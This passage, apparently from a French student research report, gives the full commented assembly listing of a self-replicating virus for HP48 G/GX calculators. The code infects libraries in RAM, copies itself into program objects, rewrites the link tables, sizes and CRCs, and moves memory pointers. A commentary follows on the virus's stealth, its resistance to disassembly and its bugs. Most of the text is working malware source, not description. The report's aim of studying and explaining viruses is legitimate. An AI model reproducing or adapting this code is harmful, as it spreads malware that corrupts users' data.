Ce qui suit
est le listing commenté du virus. Le comprendre en détail nécessiterait une
connaissance préalable très approfondie du fonctionnement de la HP48, qui
dépasse le cadre de ce PIR. Le fonctionnement du virus à été résumé en 3.2, et
les commentaires permettrons de suivre pas à pas le rôle des séquences écrites
en assembleur.
/* Processus de recherche d’un
programme contenu dans une librairie, à
/* infecter. C’est ce code qui
est exécuté à la place du programme hôte
/* lorsque celui-ci est
appelé.
*deb
GOSBVL 0679B /*
Teste si il reste assez de mémoire libre dans
LCHEX 00200 /* la RAM pour reproduire le virus. Si
non, on va à
?C<D A /* *sortie pour quitter le code en
langage machine.
GOYES okmem /*
Si oui, va à okmem
GOTO sortie
*okmem /* Teste le modèle de la HP48. Si c’est une HP48
D1= 80000 /* G ou GX, va à *okhp, sinon, pour
éviter toute
A=DAT1 A /* erreur due à une incompatibilité,
on va à
LCHEX A5C3F /*
*sortie
?A=C A
GOYES okhp
GOTO sortie
*okhp
D1= 80536 /* Lit l’adresse de début du Port 0
A=DAT1 A /* pour y chercher des librairies à
infecter
R1=A
D1= 809A3 /* Lit le nombre de librairies
attachées au
A=DAT1 X /* répertoire maître
B=A A
D1=D1+ 3
*etudlib /* Boucle qui parcourt l’ensemble
des librairies
AD1EX /* attachées
D0=A
D1=A
D1=D1+ 16
B=B-1 X
GONC ok1 /* Si toutes les librairies ont été
regardées sans
GOTO sortie /* succès, on quitte
*ok1
D0=D0+ 8
A=DAT0 A
?A<>0 A /* L’adresse de la librairie est
elle valide ?
GOYES etudlib /* Si non, on passe à la librairie
suivante
D0=D0- 5
A=DAT0 A /* S’agit il d’une librairie située
dans la RAM ?
GOSUB test /* (et pas la ROM !)
GONC etudlib /* Si non, librairie suivante
D0= 80319 /* Sauvegarde l’adresse de la
librairie dans un
DAT0=A A /* buffer d’entrée sortie situe en
#80319
D0=A
R0=A
D0=D0+ 7
A=DAT0 A /* Cette librairie a-t-elle un
nom ?
?A<>0 A /* (si elle n’en a pas, elle est en
ROM)
GOYES etudlib /* Si non, librairie suivante
D0=D0- 7 /* Toute la séquence qui suit sert à
tester si la
GOSUB idl->szl /* librairie
repérée est déjà infectée
A=DAT0 A /* pour cela, le virus positionne un
registre pointeur
CD0EX /* d’adresse sur le début de son propre code, et un
A=A+C A /* second sur l’endroit où se trouverait sa copie dans
GOSUB setc /* la librairie testée. Puis on effectue
une comparaison
A=A-C A /* bit par bit de ces deux zones sur une longueur de #FF
D0=A /* quartets, grâce à un appel à un code situé en ROM
D0=D0+ 15 /* à l’adresse #07831, via un saut long à
cette adresse
D0=D0+ 3
/* (GOSBVL 07831)
A=B A
R4=A
AD1EX
R3=A
A=PC
GOINC deb
A=A+C A
D1=A
LCHEX 0FF
GOSBVL 07831
A=R3
D1=A
A=R4
B=A A /* Si la librairie trouvée est déjà infectée, on passe
GOC ok2 /* à la librairie suivante, sinon, on l’infecte
GOTO etudlib /* et on va à ok2
*ok2
A=R0
D0=A
D0=D0+ 13 /* D0 pointe sur la Link Table de la
librairie
A=DAT0 A
CD0EX
A=A+C A
D0=A
D0=D0+ 5
A=DAT0 A
A=A-5 A
C=0 A
LCHEX 19 /* Prend le min du nombre d’objets dans la
?A>C A /* librairie et de 5. Ainsi, on examinera
GOYES sup /* au plus les 5 premiers objets de la
librairie
C=A A /* on cherche en effet un objet programme
*sup /* à infecter
D=C A
*findprg /* Cette boucle parcours les au plus 5
premiers
D0=D0+ 5 /* objets de la librairie
D=D-5 A
GONC ok3 /* Si on a examiné tout les objets
sans succès
GOTO etudlib /* on passe à la librairie suivante
*ok3
A=DAT0 A
CD0EX
R2=C
A=A+C A
R3=A
D0=A
A=DAT0 A
C=R2
D0=C
LCHEX 02D9D /* L’objet est-il diffèrent d’un
programme ?
?A<>C A /* si oui, on passe à l’objet
suivant
GOYES ok3 /* et on va donc à *findprg
D0= 8031E /* On sauvegarde l’adresse de l’objet
à infecter
A=R3 /* dans le buffer d’entrée sortie en #8031E
DAT0=A A
D0=D0+ 5
A=R2
DAT0=A A
A=PC /* Pour réserver la mémoire nécessaire à l’infection,
GOINC e1 /* on crée un entier binaire dont la
taille
GOTO exit /* est égale à celle du
virus et
/* on le
stocke dans le Port 0.
*e1 /* Pour cela, il faut utiliser le RPL étendu
$11920 /* et faire des appels à des programmes RPL en ROM.
$BD300
$5F300 /* Les données précédées d’un $ sont du code RPL qui
$1EDE0 /* est écrit tel quel dans le code du virus, et qui
$95865 /* crée l’entier et le copie dans le port 0.
$C4356 /* On programme donc une sortie du code machine du virus
$18E50 /* vers cette séquence d’instructions.
$F0512
/* Début du processus
d’infection
$CCD20 /* Une fois l’entier créé, on reviens au langage machine
$B2130
GOSBVL 0679B /* tous les tests s’étant révélés
favorables,
D0= 80319 /* on va désormais infecter la
librairie dont
A=DAT0 A /* les propriétés sont conservées
dans le
R1=A /* buffer d’entrée sortie en #80319
A=PC /* On les y récupère
GOINC retour
A=A+C A
GOSUB test
GONC suit1
GOSUB setc
A=A-C A
*suit1 /* Les manœuvres qui suivent on pour but de
C=A A /* décaler l’ensemble de la mémoire située entre la
RSTK=C /* fin de l’entier binaire (situé au début du
C=D A /* Port 0) et l’endroit où va s’implanter le virus,
A=C A /* vers le début du Port 0. Le virus n’aura
D1=A /* qu’à insérer sa copie dans l’espace ainsi
GOSUB setc /* ménagé.
A+A+C A /* Il faut également modifier l’adresse de
B=A A /* retour au virus lors de l’exécution du code
A=R1 /* en ROM, dans le cas où le virus a lui aussi
D0=A /* été translaté
GOSUB idl->szl
A=DAT0 A
CD0EX
C=C+A A
C=C-B A
C=C-4 A /* Fait un appel à un programme en langage
A=B A /* machine, situé en ROM à l’adresse #0670C
D0=A /* et qui effectue le décalage souhaité
LAHEX 0670C /* le retour se fait à *retour
PC=A
*retour
D0= 8031E
A=DAT0 A
GOSUB setc
A=A-C A
D0=A
R2=A
A=R1
A=A-C A
R1=A
D0=D0- 7 /* On recopie la zone d’identification du
programme sain
A=DAT0 7 /* vers la copie infectée de lui même qui
se trouve
DAT1=A 7 /* en fin de librairie.
AD1EX
D1=A
R0=A
A=PC
GOINC deb
A=A+C A
D0=A
D0=D0- 15
GOSUB setc
C=C- 8
*CopyVir /* Cette boucle recopie le virus
A=DAT0 1 /* vers la fin de la librairie,
après
DAT1=A 1 /* la zone d’identification écrite
auparavant
D0=D0+ 1
D1=D1+ 1
C=C-1 A
GONC CopyVir
D0= 80323
A=DAT0 A
GOSUB setc
A+A-C A
R3=A
D0=A
C=R0
C=C-A A /* Modifie la Link Table
DAT0=C A /* en remplaçant l’offset vers le
programme sain
/* par celui vers sa copie infectée
A=PC
GOINC saut
A+A+C A
A=A-B A
C=R0
A=A+C A
D0=A
D0=D0+ 15
A=R2
CD0EX
A=A-C A
D0=C
D0=D0+ 2 /* Modifie l’offset de saut vers le
programme infecté
DAT0=A A /* dans la nouvelle copie du virus
A=R1
D0=A
GOSUB idl->szl /* Recalcul la taille de la
librairie modifiée
GOSUB setc
A=DAT0 A
A=A+C A
DAT0=A A /* Remplace l’ancienne taille par la nouvelle.
D0=D0- 5 /* Recalcul le CRC de la librairie en
appelant
GOSBVL 0A01C /* un code situé en ROM à l’adresse #A01C
C=0 A
C=DAT0 4
C=C+A A
DAT0=C 4 /* puis réécrit ce CRC à la place de
l’ancien
D0=D0+ 4
AD0EX
R1=A
D0= 809A3 /* Adresse d’une zone de pointeurs pointant
sur
A=DAT0 X /* toutes les librairies existantes sur la
HP48
B=A A
D0=D0+ 3
*LOOP1 /* Cette boucle parcourt tout les pointeurs de librairie
AD0EX /* et les décale si la librairie pointée était dans
D1=A /* la zone mémoire qui a été translaté
D0=A
D0=D0+ 16
B=B-1 X /* Si tout les pointeurs ont été examinés,
GOC home /* on va à *home
D1=D1+ 8
A=DAT1 A
?A<>0 A /* Est-ce une librairie
système ?
GOYES loop1 /* si oui, va à *loop1
D1=D1- 5
A=DAT1 A
GOSUB test /* test regarde si la librairie
utilisateur
GONC loop1 /* était dans la zone translatée
GOSUB moins /* Si oui, on décale le pointeur
GOTO loop1
*home /* Autre série de pointeurs à décaler : ceux
D1= 80711 /* contenus dans le répertoire maître
pour
C=DAT1 A /* identifier les librairies qui lui
sont attachées
D1=C
D1=D1+ 5
C=DAT1 X
B=C A
D1=D1+ 6
*loop2
B=B-1 X /* si tout les pointeurs ont été examinés,
GOC sortie /* on quitte le code : on va vers
*sortie
A=DAT1 A
GOSUB test
GONC a21
GOSUB moins
*a21 /* il y a plusieurs types de pointeurs
D1=D1+ 5 /* à tester, dirigés vers la Hash
Table,
A=DAT1 A /* le Message Array, et le dernier
objet
GOSUB test /* de la librairie
GONC a22
GOSUB moins
*a22
D1=D1+ 8
GOTO loop2
*sortie /* Le virus a finit son exécution : il faut désormais
A=PC /* exécuter le programme infecté
*saut
LCHEX 00074 /* Ce code n’étant pas en situation
d’infection,
C=C+5 A /* il n’a pas de programme à exécuter, et se contente
*exit /* de sortir sur un programme vide
A=A+C A
GOSBVL 067D2
D0=A
GOSBVL 2D564 /* Sortie
*test /* Teste si un la librairie pointée
CD0EX /* était dans la zone translatée
R3=C
D0= 80716
C=DAT0 A
D=C A
C=R3
D0=C
C=D A
?C=<A A
GOYES toto
RTNCC
*toto
C=R1
?C>A A
RTNYES
RTNCC
*idl->szl /* Sous-programme qui déplace le
pointeur
D0=D0- 2 /* D0 vers le début de la librairie
A=0 A /* lorsque celui ci pointe sur son numéro
A=DAT0 B
A=A+A A
CD0EX
C=C-A A
D0=C
D0=D0- 7
RTN
*moins /* Décale un pointeur vers une librairie
A=DAT1 A /*
translatée
GOSUB SETC
A=A-C A
DAT1=A A
RTN
*setc /* Charge la taille du virus dans le registre C champ A
LCHEX 0041F
RTN
3.4.
Commentaires sur ce virus
Ce virus est déjà de bien meilleur qualité
que le précèdent. Son temps de réplication est d’environ une demi seconde, et
les nombreux tests effectués permettent d’assurer une plus grande discrétion,
notamment en évitant de produire des erreurs qui le trahiraient. De plus, il
possède une structure volontairement aberrante qui n’est pas celle d’un objet
code classique de la HP48, puisqu’il possède une séquence d’instructions en RPL
étendu. De ce fait, il est impossible d’utiliser un désassembleur automatique
pour l’éditer : il faudrait faire ce travail à la main. Quand bien même
quelqu’un réussirait à le décoder, ce virus profite de nombreuses astuces de
programmation qui rendent sa compréhension très délicate. Cependant, ces
acrobaties de programmation sont justifiées avant tout par une volonté de
réduire au maximum la taille du virus.
Sa taille de
514 octets n’est pas négligeable, sachant que la taille moyenne d’une librairie
oscille entre 5 et 10 Ko, mais on se rendra compte à travers d’autre exemples
qu’il est difficile d’écrire un virus pour librairie d taille inférieure. De
plus, il reste quelques bugs de programmations, qui se produisent lorsqu’il y a
superposition de modules mémoires, car alors, le système de la HP48 décale
virtuellement certains modules de mémoires, ce qui pose des problèmes dans le
calcul des adresses de retour. Mais une telle configuration se produit rarement.
Enfin, un scanner viendrait immédiatement à bout de ce virus, qui en plus est
facile à désinstaller. Sa stratégie de défense consiste en fait à se faire le
plus discret possible.
On se rend
ainsi compte de la difficulté qu’il y a à programmer des virus en
assembleurs : il faut une connaissance très détaillée du fonctionnement de
la machine. De plus, la programmation en langage machine, comme l’aspect du
listing le laisse deviner, est extrêmement délicate à mettre en œuvre. Il faut
écrire l’organigramme détaillé du programme avant de le réaliser, et la
recherche des erreurs est très fastidieuse.